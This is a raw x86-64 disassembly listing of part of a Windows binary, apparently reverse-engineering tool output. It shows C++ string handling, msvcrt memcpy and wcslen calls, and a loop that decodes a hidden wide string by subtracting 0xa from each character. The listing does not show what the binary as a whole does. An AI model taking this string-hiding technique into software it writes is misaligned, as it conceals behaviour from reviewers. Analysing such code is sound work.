mov word [rsp + 0x252], di
mov word [rsp + 0x262], ax
movzx eax, word [rsp + 0x7c]
mov word [rsp + 0x254], si
mov word [rsp + 0x264], ax
movzx eax, word [rsp + 0x80]
mov word [rsp + 0x256], r11w
mov word [rsp + 0x26c], ax
movabs rax, 0x6f007e00790058
mov qword [rsp + 0x180], rax
movabs rax, 0x7e007d006f007e
mov qword [rsp + 0x188], rdx
movabs rdx, 0x7f007a00710037
mov word [rsp + 0x25a], r9w
mov word [rsp + 0x266], r8w
mov word [rsp + 0x268], cx
mov word [rsp + 0x26e], r10w
movq qword [rsp + 0x240], xmm0
mov qword [rsp + 0x190], rax
xor eax, eax
movdqu xmm2, xmmword [rsp + 0x240]
movdqu xmm3, xmmword [rsp + 0x250]
mov qword [rsp + 0x198], rdx
movdqu xmm5, xmmword [rsp + 0x260]
movups xmmword [rsp + 0x1a0], xmm2
movups xmmword [rsp + 0x1b0], xmm3
movups xmmword [rsp + 0x1c0], xmm5
nop word [rax + rax]
movzx edx, word [rsp + rax*2 + 0x180]
sub edx, 0xa
mov word [rsp + rax*2 + 0x180], dx
add rax, 1
cmp rax, 0x27
jne 0x330929df0
lea rax, [rsp + 0x180]
lea r13, [rsp + 0x170]
mov rcx, rax
mov qword [rsp + 0x160], r13
mov qword [rsp + 0x48], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
mov qword [rsp + 0x120], rdi
cmp rsi, 0xe
ja 0x33092a795
mov rcx, qword [rsp + 0x160]
cmp rdi, 1
jne 0x33092aaf8
movzx eax, word [rsp + 0x180]
mov edx, 2
mov word [rcx], ax
mov eax, 1
xor r8d, r8d
pxor xmm0, xmm0
mov qword [rsp + 0x168], rax
mov word [rcx + rdx], r8w
mov ecx, 0x40
mov qword [rsp + 0x110], 0
movups xmmword [rsp + 0x100], xmm0
call fcn.330954e20
mov rsi, rax
mov qword [rsp + 0x100], rax
lea rax, [rax + 0x40]
mov r12, qword [rsp + 0x140]
mov qword [rsp + 0x30], rax
lea rcx, [rsi + 0x10]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x148]
mov qword [rsi], rcx
lea rdi, [rax + rax]
mov rbp, rdi
sar rbp, 1
mov qword [rsp + 0x120], rbp
mov rdx, rbp
cmp rdi, 0xe
ja 0x33092a89d
cmp rbp, 1
jne 0x33092ab10
movzx eax, word [r12]
mov word [rsi + 0x10], ax
mov eax, 2
mov qword [rsi + 8], rdx
xor edx, edx
mov rbp, qword [rsp + 0x160]
mov word [rcx + rax], dx
mov rax, qword [rsp + 0x168]
lea rcx, [rsi + 0x30]
lea rdx, [rsi + 0x20]
mov qword [rsi + 0x20], rcx
lea rdi, [rax + rax]
mov r12, rdi
sar r12, 1
mov qword [rsp + 0x120], r12
mov rax, r12
cmp rdi, 0xe
ja 0x33092a6ea
cmp r12, 1
jne 0x33092a715
movzx edx, word [rbp]
mov word [rsi + 0x30], dx
mov edx, 2
mov qword [rsi + 0x28], rax
mov rax, qword [rsp + 0x30]
xor r12d, r12d
mov word [rcx + rdx], r12w
mov qword [rsp + 0x108], rax
cmp rbp, r13
je 0x330929fa0
mov rax, qword [rsp + 0x170]
mov rcx, rbp
lea rdx, [rax + rax + 2]
call fcn.330954e10
mov rcx, qword [rsp + 0x140]
mov rax, qword [rsp + 0x50]
cmp rcx, rax
je 0x330929fc4
mov rax, qword [rsp + 0x150]
lea rdx, [rax + rax + 2]
call fcn.330954e10
pxor xmm0, xmm0
mov ecx, 0x40
mov qword [rsp + 0x340], 0
movups xmmword [rsp + 0x330], xmm0
call fcn.330954e20
lea rcx, [rax + 0x10]
movq xmm4, rax
lea r12, [rax + 0x40]
mov rdi, rax
mov qword [rax], rcx
mov rax, qword [r14]
movddup xmm0, xmm4
mov qword [rsp + 0x340], r12
mov qword [rsp + 0x60], rax
mov rax, qword [r14 + 8]
movups xmmword [rsp + 0x330], xmm0
lea rbp, [rax + rax]
mov r13, rbp
sar r13, 1
mov qword [rsp + 0x180], r13
cmp rbp, 0xe
ja 0x33092a99e
cmp r13, 1
jne 0x33092abde
mov rax, qword [rsp + 0x60]
mov edx, 2
movzx eax, word [rax]
mov word [rdi + 0x10], ax
mov eax, 1
xor ebp, ebp
mov qword [rdi + 8], rax
lea rax, [rdi + 0x20]
mov word [rcx + rdx], bp
mov rdx, qword [r14 + 0x20]
lea rcx, [rdi + 0x30]
mov qword [rdi + 0x20], rcx
mov qword [rsp + 0x60], rdx
mov rdx, qword [r14 + 0x28]
lea rbp, [rdx + rdx]
mov r13, rbp
sar r13, 1
mov qword [rsp + 0x180], r13
cmp rbp, 0xe
ja 0x33092a9ee
cmp r13, 1
jne 0x33092abd6
mov rax, qword [rsp + 0x60]
mov edx, 2
movzx eax, word [rax]
mov word [rdi + 0x30], ax
mov eax, 1
xor r11d, r11d
mov qword [rdi + 0x28], rax
lea rax, [rsp + 0x120]
mov word [rcx + rdx], r11w
mov rdx, r15
mov rcx, rax
mov qword [rsp + 0x338], r12
mov qword [rsp + 0x68], rax
call fcn.330926820
mov rdi, qword [rsp + 0x338]
mov rbp, qword [rsp + 0x330]
cmp rdi, rbp
je 0x33092a128
nop dword [rax]
mov rcx, qword [rbp]
lea rax, [rbp + 0x10]
cmp rcx, rax
je 0x33092a690
mov rax, qword [rbp + 0x10]
add rbp, 0x20
lea rdx, [rax + rax + 2]
call fcn.330954e10
cmp rdi, rbp
jne 0x33092a0f8
mov rbp, qword [rsp + 0x330]
test rbp, rbp
je 0x33092a140
mov rdx, qword [rsp + 0x340]
mov rcx, rbp
sub rdx, rbp
call fcn.330954e10
pxor xmm0, xmm0
mov ecx, 0x40
mov qword [rsp + 0x340], 0
movups xmmword [rsp + 0x330], xmm0
call fcn.330954e20
lea rcx, [rax + 0x10]
movq xmm1, rax
lea r12, [rax + 0x40]
mov rdi, rax
mov qword [rax], rcx
mov rax, qword [rsi]
movddup xmm0, xmm1
mov qword [rsp + 0x340], r12
mov qword [rsp + 0x60], rax
mov rax, qword [rsi + 8]
movups xmmword [rsp + 0x330], xmm0
lea rbp, [rax + rax]
mov r13, rbp
sar r13, 1
mov qword [rsp + 0x180], r13
cmp rbp, 0xe
ja 0x33092aa8c
cmp r13, 1
jne 0x33092abee
mov rax, qword [rsp + 0x60]
mov edx, 2
movzx eax, word [rax]
mov word [rdi + 0x10], ax
mov eax, 1
xor r10d, r10d
mov qword [rdi + 8], rax
lea rax, [rdi + 0x20]
mov word [rcx + rdx], r10w
mov rdx, qword [rsi + 0x20]
lea rcx, [rdi + 0x30]
mov qword [rdi + 0x20], rcx
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsi + 0x28]
lea rbp, [rdx + rdx]
mov r13, rbp
sar r13, 1
mov qword [rsp + 0x180], r13
cmp rbp, 0xe
ja 0x33092aa3d
cmp r13, 1
jne 0x33092abe6
mov rax, qword [rsp + 0x60]
mov edx, 2
movzx eax, word [rax]
mov word [rdi + 0x30], ax
mov eax, 1
xor r9d, r9d
mov qword [rdi + 0x28], rax
mov word [rcx + rdx], r9w
mov rcx, qword [rsp + 0x58]
mov rdx, r15
mov qword [rsp + 0x338], r12
call fcn.330926820
mov rdi, qword [rsp + 0x338]
mov rbp, qword [rsp + 0x330]
cmp rdi, rbp
je 0x33092a2a0
nop dword [rax + rax]
mov rcx, qword [rbp]
lea rax, [rbp + 0x10]
cmp rcx, rax
je 0x33092a6d8
mov rax, qword [rbp + 0x10]
add rbp, 0x20
lea rdx, [rax + rax + 2]
call fcn.330954e10
cmp rbp, rdi
jne 0x33092a270
mov rbp, qword [rsp + 0x330]
test rbp, rbp
je 0x33092a2b8
mov rdx, qword [rsp + 0x340]
mov rcx, rbp
sub rdx, rbp
call fcn.330954e10
mov ecx, 0x40
call fcn.330954e20
mov rdi, rax
mov rax, qword [rsp + 0x20]
mov r13, qword [rsp + 0x140]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x148]
lea rbp, [rax + rax]
mov r12, rbp
sar r12, 1
mov qword [rsp + 0x180], r12
cmp rbp, 0xe
ja 0x33092a94a
cmp r12, 1
jne 0x33092abc9
movzx eax, word [r13]
mov rcx, qword [rsp + 0x20]
mov edx, 2
mov word [rsp + 0x340], ax
mov eax, 1
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x120]
xor r8d, r8d
lea r12, [rsp + 0x190]
mov word [rcx + rdx], r8w
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x180], r12
lea rbp, [rax + rax]
mov r13, rbp
sar r13, 1
mov qword [rsp + 0xb8], r13
cmp rbp, 0xe
ja 0x33092a8ef
cmp r13, 1
jne 0x33092abbe
mov rax, qword [rsp + 0x60]
mov edx, 2
mov rcx, r12
movzx eax, word [rax]
mov word [rsp + 0x190], ax
mov eax, 1
mov qword [rsp + 0x188], rax
xor eax, eax
mov r8, r15
mov word [rcx + rdx], ax
mov rdx, qword [rsp + 0x48]
mov rcx, rdi
call fcn.330927e20
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xb8], rdi
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x33092abf6
mov qword [rdx], rdi
add rdx, 8
mov qword [rax + 8], rdx
mov rcx, qword [rsp + 0x180]
cmp rcx, r12
je 0x33092a3ff
mov rax, qword [rsp + 0x190]
lea rdx, [rax + rax + 2]
call fcn.330954e10
mov rcx, qword [rsp + 0x330]
mov rax, qword [rsp + 0x20]
cmp rcx, rax
je 0x33092a423
mov rax, qword [rsp + 0x340]
lea rdx, [rax + rax + 2]
call fcn.330954e10
mov rax, qword [rsp + 0x40]
xor r12d, r12d
mov rbp, qword [rax + 8]
mov rdi, qword [rax]
cmp rdi, rbp
je 0x33092a46f
nop word [rax + rax]
mov rcx, qword [rdi]
mov rdx, r12
mov rax, qword [rcx]
call qword [rax]
mov rcx, qword [rdi]
mov rdx, r12
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rdi]
mov rdx, r12
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r12, qword [rdi]
add rdi, 8
cmp rbp, rdi
jne 0x33092a440
call fcn.330902d50
mov rcx, qword [rsp + 0x140]
mov rax, qword [rsp + 0x50]
cmp rcx, rax
je 0x33092a498
mov rax, qword [rsp + 0x150]
lea rdx, [rax + rax + 2]
call fcn.330954e10
mov rcx, qword [rsp + 0x120]
lea rax, [rsp + 0x130]
cmp rcx, rax
je 0x33092a4bf
mov rax, qword [rsp + 0x130]
lea rdx, [rax + rax + 2]
call fcn.330954e10
mov rdi, rsi
nop word [rax + rax]
mov rcx, qword [rdi]
lea rax, [rdi + 0x10]
cmp rcx, rax
je 0x33092a6c0
mov rax, qword [rdi + 0x10]
add rdi, 0x20
lea rdx, [rax + rax + 2]
call fcn.330954e10
cmp qword [rsp + 0x30], rdi
jne 0x33092a4c8
mov rcx, rsi
mov edx, 0x40
mov rsi, r14
call fcn.330954e10
nop dword [rax]
mov rcx, qword [rsi]
lea rax, [rsi + 0x10]
cmp rcx, rax
je 0x33092a6a8
mov rax, qword [rsi + 0x10]
add rsi, 0x20
lea rdx, [rax + rax + 2]
call fcn.330954e10
cmp qword [rsp + 0x28], rsi
jne 0x33092a508
mov rcx, r14
mov edx, 0x40
call fcn.330954e10
mov rcx, qword [rbx]
cmp qword [rsp + 0x38], rcx
je 0x33092a555
mov rax, qword [rbx + 0x10]
lea rdx, [rax + 1]
call fcn.330954e10
mov edx, 0x20
mov rcx, rbx
call fcn.330954e10
nop
movups xmm6, xmmword [rsp + 0x390]
xor eax, eax
add rsp, 0x3a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [r13]
mov byte [rbx + 0x10], al
jmp 0x330928cab
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call fcn.33094f410
mov qword [rbx], rax
mov rcx, rax
mov rax, qword [rsp + 0x270]
mov qword [rbx + 0x10], rax
mov r8, rbp
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rbp, qword [rsp + 0x270]
mov rax, qword [rbx]
jmp 0x330928cb0
movzx eax, byte [r14]
mov byte [rbp + 0x10], al
jmp 0x330928d65
mov rdx, qword [rsp + 0x28]
xor r8d, r8d
mov rcx, rax
call fcn.33094f410
mov qword [rbp], rax
mov rcx, rax
mov rax, qword [rsp + 0x2d0]
mov qword [rbp + 0x10], rax
mov r8, rsi
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x2d0]
mov rcx, qword [rbp]
jmp 0x330928d65
add rbp, 0x20
cmp rsi, rbp
jne 0x330928d98
jmp 0x330928dbf
mov rcx, rax
jmp 0x33092a5b8
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x240]
jmp 0x33092973e
mov r8, rsi
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x220]
jmp 0x330929171
add rbp, 0x20
cmp rdi, rbp
jne 0x33092a0f8
jmp 0x33092a120
add rsi, 0x20
cmp qword [rsp + 0x28], rsi
jne 0x33092a508
jmp 0x33092a531
add rdi, 0x20
cmp qword [rsp + 0x30], rdi
jne 0x33092a4c8
jmp 0x33092a4f1
add rbp, 0x20
cmp rdi, rbp
jne 0x33092a270
jmp 0x33092a298
mov qword [rsp + 0x60], rdx
mov rcx, rdx
xor r8d, r8d
lea rdx, [rsp + 0x120]
call fcn.330952af0
mov qword [rsi + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x120]
mov qword [rsi + 0x30], rax
test r12, r12
je 0x33092a731
mov r8, rdi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsi + 0x20]
mov rbp, qword [rsp + 0x160]
lea rdx, [rax + rax]
jmp 0x330929f6d
lea rdx, [rsp + 0x180]
xor r8d, r8d
mov rcx, r12
call fcn.330952af0
mov qword [r14 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x180]
mov qword [r14 + 0x30], rax
test rbp, rbp
je 0x33092a784
mov r8, rsi
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x180]
mov rcx, qword [r14 + 0x20]
mov rdi, qword [rsp + 0x240]
lea rdx, [rax + rax]
jmp 0x330929840
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x160]
xor r8d, r8d
call fcn.330952af0
mov qword [rsp + 0x160], rax
mov rcx, rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x170], rax
test rdi, rdi
je 0x33092a7ea
mov rdx, qword [rsp + 0x48]
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x160]
lea rdx, [rax + rax]
jmp 0x330929e75
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
call fcn.330952af0
mov qword [rsp + 0x140], rax
mov rcx, rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x150], rax
test rdi, rdi
je 0x33092a843
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x220]
mov rcx, qword [rsp + 0x140]
lea rdx, [rax + rax]
jmp 0x330929b64
lea rdx, [rsp + 0x180]
xor r8d, r8d
mov rcx, r14
call fcn.330952af0
mov qword [r14], rax
mov rcx, rax
mov rax, qword [rsp + 0x180]
mov qword [r14 + 0x10], rax
lea rdx, [rax + rax]
test rdi, rdi
je 0x3309297e0
mov rdx, rbp
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x180]
mov rcx, qword [r14]
lea rdx, [rax + rax]
jmp 0x3309297e0
lea rdx, [rsp + 0x120]
xor r8d, r8d
mov rcx, rsi
call fcn.330952af0
mov rdx, qword [rsp + 0x120]
mov qword [rsi], rax
mov rcx, rax
mov qword [rsi + 0x10], rdx
test rbp, rbp
je 0x33092a8e6
mov rdx, r12
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x120]
mov rcx, qword [rsi]
lea rax, [rdx + rdx]
jmp 0x330929f11
lea rax, [rdx + rdx]
jmp 0x330929f11
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0xb8]
xor r8d, r8d
call fcn.330952af0
mov qword [rsp + 0x180], rax
mov rcx, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x190], rax
test r13, r13
je 0x33092a941
mov rdx, qword [rsp + 0x60]
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x180]
lea rdx, [rax + rax]
jmp 0x33092a39c
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, r15
call fcn.330952af0
mov qword [rsp + 0x330], rax
mov rcx, rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x340], rax
test r12, r12
je 0x33092a995
mov r8, rbp
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x330]
lea rdx, [rax + rax]
jmp 0x33092a324
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, rdi
call fcn.330952af0
mov qword [rdi], rax
mov rcx, rax
mov rax, qword [rsp + 0x180]
mov qword [rdi + 0x10], rax
lea rdx, [rax + rax]
test r13, r13
je 0x33092a055
mov rdx, qword [rsp + 0x60]
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x180]
mov rcx, qword [rdi]
lea rdx, [rax + rax]
jmp 0x33092a055
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x68], rax
call fcn.330952af0
mov qword [rdi + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x180]
mov qword [rdi + 0x30], rax
test r13, r13
je 0x33092aa34
mov rdx, qword [rsp + 0x60]
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x180]
mov rcx, qword [rdi + 0x20]
lea rdx, [rax + rax]
jmp 0x33092a0b4
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x70], rax
call fcn.330952af0
mov qword [rdi + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x180]
mov qword [rdi + 0x30], rax
test r13, r13
je 0x33092aa83
mov rdx, qword [rsp + 0x60]
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x180]
mov rcx, qword [rdi + 0x20]
lea rdx, [rax + rax]
jmp 0x33092a232
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, rdi
call fcn.330952af0
mov qword [rdi], rax
mov rcx, rax
mov rax, qword [rsp + 0x180]
mov qword [rdi + 0x10], rax
lea rdx, [rax + rax]
test r13, r13
je 0x33092a1d1
mov rdx, qword [rsp + 0x60]
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x180]
mov rcx, qword [rdi]
lea rdx, [rax + rax]
jmp 0x33092a1d1
mov rax, rdi
jmp 0x33092a871
test rax, rax
je 0x3309288b2
mov rax, rbp
jmp 0x33092ab50
mov rax, rdi
jmp 0x33092a7c8
mov rax, rdi
jmp 0x33092a823
mov rax, rbp
jmp 0x33092a768
mov rdx, rbp
jmp 0x33092a8c2
mov rcx, rax
mov r8, r15
call fcn.33094cec0
jmp 0x330928b04
mov rdx, qword [rsp + 0x28]
xor r8d, r8d
mov rcx, rsi
call fcn.33094f410
mov rdx, qword [rsp + 0x2d0]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x280], rdx
cmp edi, 8
jae 0x33092ac69
test dil, 4
jne 0x33092acbf
test edi, edi
je 0x33092ab84
movzx edx, byte [rsp + 0x330]
mov byte [rax], dl
test dil, 2
je 0x33092ab84
mov edi, edi
movzx edx, word [r15 + rdi - 2]
mov word [rax + rdi - 2], dx
mov rax, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x270]
jmp 0x3309288b5
mov rcx, rax
lea r8, [rsp + 0x180]
call fcn.33094cec0
jmp 0x330928e20
mov rcx, rax
mov r8, r15
call fcn.33094cec0
jmp 0x330928e60
mov rax, r13
mov rcx, r12
jmp 0x33092a91f
mov rcx, qword [rsp + 0x20]
mov rax, r12
jmp 0x33092a975
mov rax, r13
jmp 0x33092aa16
mov rax, r13
jmp 0x33092a9c0
mov rax, r13
jmp 0x33092aa65
mov rax, r13
jmp 0x33092aaae
mov rcx, rax
lea r8, [rsp + 0xb8]
call fcn.33094cec0
jmp 0x33092a3e0
movzx eax, byte [r14]
mov byte [rsp + 0x340], al
jmp 0x330928a2d
lea rdx, [rsp + 0x220]
xor r8d, r8d
mov rcx, r15
call fcn.33094f410
mov qword [rsp + 0x330], rax
mov rcx, rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x340], rax
mov r8, rdi
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rdi, qword [rsp + 0x220]
mov rax, qword [rsp + 0x330]
jmp 0x330928a32
mov rdx, qword [rsp + 0x330]
mov r9, r15
mov qword [rax], rdx
mov edx, edi
mov rcx, qword [r15 + rdx - 8]
mov qword [rax + rdx - 8], rcx
lea rcx, [rax + 8]
and rcx, 0xfffffffffffffff8
sub rax, rcx
add edi, eax
sub r9, rax
and edi, 0xfffffff8
cmp edi, 8
jb 0x33092ab84
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [r9 + rdx]
mov qword [rcx + rdx], r8
cmp eax, edi
jb 0x33092aca4
jmp 0x33092ab84
mov rcx, rax
jmp 0x33092ac49
mov edx, dword [rsp + 0x330]
mov edi, edi
mov dword [rax], edx
mov edx, dword [r15 + rdi - 4]
mov dword [rax + rdi - 4], edx
jmp 0x33092ab84
lea rcx, [0x33095924a]
call fcn.330955720
lea rcx, [0x33095924a]
call fcn.330955720
mov rbx, rax
mov edi, 1
mov rcx, r15
call fcn.33094d040
test dil, dil
je 0x33092ad12
mov edx, 0x40
mov rcx, r12
call fcn.330954e10
mov rcx, qword [rsp + 0x28]
call fcn.33094d040
mov rcx, rsi
call fcn.33094d040
mov rcx, rbx
call fcn.330936530
mov rbx, rax
xor edi, edi
jmp 0x33092acf8